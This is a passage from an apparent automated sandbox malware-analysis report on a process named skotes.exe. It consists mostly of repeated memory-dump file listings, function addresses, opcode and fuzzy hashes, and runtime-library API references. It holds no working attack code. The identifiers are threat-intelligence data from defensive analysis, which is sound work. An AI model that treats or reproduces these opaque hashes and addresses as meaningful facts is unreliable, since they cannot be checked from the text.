Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vp
API String ID: 3213747228-3444653008
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: e7cacc29ba69812f5ba57cb1cc67972a19c958033bbe57bb67fd43670ad25b3d
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 67B12732A04285DFDB16CF28C8817AEBBE5EF55350F14436AE845EB2C2D63C9D42CB60

Function 006D2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006D2F5F
__Mtx_unlock.LIBCPMT ref: 006D2FCC
__Cnd_broadcast.LIBCPMT ref: 006D2FE3
__Mtx_unlock.LIBCPMT ref: 006D30F5
__Mtx_unlock.LIBCPMT ref: 006D319B

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: e45654494f6f708b41d77bfc7d78e9878ec11ba5292c0cdbb75890906db3c8d8
Instruction ID: 2113f6a1f2040c8d25bd45aaf6d055036c209b0406705c92912ae84c8d71fd80
Opcode Fuzzy Hash: e45654494f6f708b41d77bfc7d78e9878ec11ba5292c0cdbb75890906db3c8d8
Instruction Fuzzy Hash: 8BA1D0B0E027569FDB20DF65C944B9AB7AAFF15324F04812AE815D7341EB31EA05CB92

Function 006EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 006EBBE4
_xtime_get.LIBCPMT ref: 006EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 006EBC13

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 822325ac3029296f9a5895e0dccec06d23dad831021973a96f2b25cfbe662d31
Instruction ID: 5c20aef512848657c45ba2ee5bb3e4024905439e1f0ac6e89f38d2d1aafa552d
Opcode Fuzzy Hash: 822325ac3029296f9a5895e0dccec06d23dad831021973a96f2b25cfbe662d31
Instruction Fuzzy Hash: 0A212F75A01259AFDF00EFA5DC829BFB7BAEF08720F104419F901A7261DB349D029BA4

Function 0070F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0070F3A3

Strings

8"s, xrefs: 0070F44B
`'s, xrefs: 0070F375

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"s$`'s
API String ID: 3903695350-2260233155
Opcode ID: 3233603735e1933fb12ee3956edc21bfe04cd11499c34e678ebb6b22326c840c
Instruction ID: c8727ae856860bc03cfb498af61ec4bf92f51721d9c6f93d372292f19f5687a1
Opcode Fuzzy Hash: 3233603735e1933fb12ee3956edc21bfe04cd11499c34e678ebb6b22326c840c
Instruction Fuzzy Hash: E9313B31600302EFEB31AA39E849B5BB3E8EF00355F10462AF449D69D9DE79A881CB11

Analysis Process: skotes.exePID: 3516, Parent PID: 5816COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 007D652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,007D652A,?,?,?,?,?,007D7661), ref: 007D6567

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
